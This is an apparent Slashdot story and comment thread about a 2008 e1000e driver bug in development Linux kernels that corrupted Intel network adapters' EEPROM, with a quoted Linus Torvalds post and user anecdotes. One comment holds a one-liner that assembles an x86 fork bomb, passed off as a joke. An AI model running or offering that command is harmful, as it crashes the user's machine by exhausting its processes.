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e1000e Bug Squashed — Linux Kernel Patch Released
ruphus13 writes "As mentioned earlier, there was a kernel bug in the alpha/beta version of the Linux kernel (up to 2.6.27 rc7), which was corrupting (and rendering useless) the EEPROM/NVM of adapters. Thankfully, a patch is now out that prevents writing to the EEPROM once the driver is loaded, and this follows a patch released by Intel earlier in the week. From the article: 'The Intel team is currently working on narrowing down the details of how and why these chipsets were affected. They also plan on releasing patches shortly to restore the EEPROM on any adapters that have been affected, via saved images using ethtool -e or from identical systems.' This is good news as we move towards a production release!"
I know this is News For Nerds and all that, but isn't this a tad specific?
An alpha/beta of the most recent linux kernel patch had a bug fixed, and it hits the front page?
Don't get me wrong, I'm glad they found it, but this is kinda the point of debug cycles.. If we start reporting every bug squashed in all the major open source projects out there this is going to go downhill fast.. (of course, it's possible some may think that the idle. is only a step above..)
--Q
Hwwaa? Oh yes...the kernel does't corrupt your EEPROM anymore!
Obligatory blog plug: http://www.caseybanner.ca/
Linus isn't very happy with Intel here:
http://lkml.org/lkml/2008/9/29/368
On Mon, 29 Sep 2008, Arjan van de Ven wrote:
>
> we have a patch to save/restore now, in final testing stages
> (obviously we want to be really careful with this)
Btw, the _real_ bug is clearly in the hardware design that allows you to
brick those things without apparently even having a lock bit.
I'm hoping Intel doesn't treat this as just a software bug. Some hw
designer should be thinking hard about which orifice they put their head
up in.
It used to be that you could fry some monitors by feeding them
out-of-range signals. The _monitors_ got fixed.
Linus
I'm gonna download it now! Oh, wait... crap.
About a year ago we built up some new machines to run Linux and found that multiple e1000 cards would cause the Ethernet connectivity to drop and become useless. We ended up replacing them with much cheaper Realtek cards and all the problems disappeared. I haven't trusted Intel since. It's as if there were some buggy interrupt interaction with the on-board Intel Ethernet in the 915 chipset.
This post is encrypted twice with ROT-13. Documenting or attempting to crack this encryption is illegal.
Yes, they released a patch so that the NVM can't be overwritten after the e1000e driver is loaded. But from what I can tell, they still don't know what is/was responsible for the overwriting.
FWIW, I'm almost positive that modern CPUs have debug traps for this exact sort of thing...you can trap arbitrary I/O writes via SMM or something...obviously I'm not in the debug loop, but I don't see why this has been so hard to figure out...
From RTFA the cause of the problem has not been identified yet, however the problem is prevented from being able to present itself going forward by maliciously writing/erasing non volatile memory. Since the problem was caught at alpha/beta stages the stable releases were unaffected. BTW, My boss tried to RTFA over my shoulder and shot cheese out of his ears (he is the non techie type). Its threads like these that absolutely cement /.'s place as the worlds dominant UBER NERD site.
huh?
Candlejack, is that
After all, I am strangely colored.
Supposedly with pre-multisync monitors (say, your average early-'90s monitor, like my old Tandy VGM-340) if you weren't careful about what X modelines you used you could fry your monitor.
Hail Eris, full of mischief...
E pluribus sanguinem
Just buy a copy of Windows and get on with it.
You may have missed the part where it said that this is a development release. Also, installing a development release of the next Windows might brick your system AND get you sued. ;-)
What's the value of information that you don't know?
You have nothing to worry about, this article is referring to a development release of Linux, you won't see it in a normal distro...
**braces himself for the imminent whoosh
What's the value of information that you don't know?
Argh. Markov Chain text garbage got modded Insightful.
Sam ty sig.
Does that mean the spambot passed the Turing test or the moderator failed it?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Linus has a very good analogy here -- in fact, I love the fact that on the rare occasions I have to set modelines myself, I can pretty much put whatever I want, knowing that if it doesn't work, I can just ctrl+alt+backspace and try again.
But the conclusion does bother me: We're basically saying that all software is buggy, or that we're incapable of preventing this kind of thing from happening (in software). This is true of most modern OS designs -- monolithic kernels do make it possible for pretty much any driver to accidentally ruin any other driver's day.
The proposed workaround, then, is to prevent that memory from being written -- and to prevent this in hardware, for no other reason than to avoid having to write it into every kernel that might potentially allow buggy code to run in Ring 0.
I don't like either solution. Hardware shouldn't be brickable from software, or at least, not so easily. But software shouldn't need hardware to coddle it, either -- why is the SSD in this laptop emulating a hard disk?
Don't thank God, thank a doctor!
If there's a whoosh, I don't get it either, other than that it has to be...
I don't think Intel makes solid state drives. Nor does Intel make the EEE PC. Nor does any EEE PC ship with an experimental kernel. Nor does an ethernet card have anything to do with a hard drive.
Some quick Googling shows that the 901 may have gigabit, maybe not -- and if it did, and if they were this particular Intel card, you might be affected. Which would still have nothing to do with the SSD.
But after checking the manuals I could find, it doesn't look like it supports gigabit at all.
Don't thank God, thank a doctor!
I had the same thing pop up on a supermicro (ICH-7, IIRC... dual Xeon 5xxx's) at work. Recompiling the modules and reinstalling them seemed to fix the problem. Like most hardware problems, it seems to be just the wrong combination of drivers, hardware, software and luck.
I think a yum update is what triggered it, but I'm not sure; it just popped up out of nowhere and acted in such a way that I couldn't ever corner the thing. Recompiling the modules was one of those things that I did while I was thinking about the problem and trying to isolate stupid variables. I really didn't expect it to fix the problem.
I also remember that one of the network cables was found to be flaky some time later - it could all be coincidence.
At any rate, I've found Realtek chips to be... less than desirable, yet durable enough to take a good beating. Their Linux support isn't bad, either. You could do worse, in regards to bang for your buck, than a Realtek based card, IMHO.
If I mod you up, it doesn't necessarily mean I agree with what you've said, sorry.
From what I can tell, the bug is only being seen on bleeding edge combinations of software in bleeding edge distros. They're thinking it's a combination of the driver and a new release of X (one allows for the conditions, the other glitches after that), but there's very little 'tried-and-true' stuff in a bleeding edge distro.
If I mod you up, it doesn't necessarily mean I agree with what you've said, sorry.
..after using it in Linux, it is not recognizable by any PC.
why is the SSD in this laptop emulating a hard disk?
It's not. ATA's wire protocol uses a hardware abstraction over block storage devices, as does USB Mass Storage Class. The hard disk is emulating an ideal block device, and the SSD is also emulating an ideal block device.
I used to be pleased years ago when rsync over ssh could saturate a 100 Mb/s LAN (e.g. around 12 MB/s of actual disk throughput).
Yesterday I rsynced about 25 GB of files (Linux distro tree) onto my new laptop over gigabit LAN and sustained 35 MB/s the entire way. This is application speed, which means NICs and CPUs kept up with the I/O and encryption loads.
This performance is about 75% of my ideal disk speed on my laptop, measured with just one large sequential access dumped to /dev/null.
Any idiot can receive mod points, but it takes a genius to figure out how to navigate this terrible new UI.
While it might be safer, I really don't want to be in a situation where my hardware is telling me I can't do something, because I might screw it up.
Then why does almost every computer with a decent SDTV output have a lockout chip designed to prevent homemade programs from running? Examples include DVRs, video game consoles, and the like.
Where do I get the fix...and how do I install it? Am using kernel 2.6.26 on openSuse 11?